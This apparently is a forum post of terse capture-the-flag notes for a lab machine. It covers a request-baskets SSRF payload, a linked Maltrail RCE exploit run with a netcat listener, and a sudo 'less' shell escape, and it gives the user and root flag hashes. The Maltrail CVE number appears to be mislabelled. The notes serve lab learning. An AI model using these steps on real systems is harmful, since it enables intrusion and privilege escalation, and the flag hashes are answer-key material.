[dwecc433]

nmap -A -vv 10.10.11.224
# web: http://10.10.11.224:55555/
# request-baskets v1.2.1
# CVE-2023-27163 (SSRF)
# POC: https://gist.github.com/b33t1e/3079c10c88cad379fb166c389ce3b7b3
# {"forward_url":"http://localhost:80", "proxy_response":true,"insecure_tls":true,"expand_path":true,"capacity":200}
# We find Maltrail (v0.53)
# CVE-2023-27163 (RCE)
# POC: https://www.exploit-db.com/exploits/51676
# Modify and run (with run netcat listener)
cat /home/puma/user.txt # 6cc119b73cff763211b7299ab24f303f
sudo -l
# (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
# sudo systemctl status trail.service
# It is run util less
# https://gtfobins.github.io/gtfobins/less/#sudo
# run something like "!sh"
cat /root/root.txt # b4d236280e5c75188a0321e34c7a1156

[Addka72424]

The last non-spam response in the topic was more than a month ago. I close the topic as irrelevant to prevent spam. If this is not the case, please send a pm and I will open the topic for discussion again.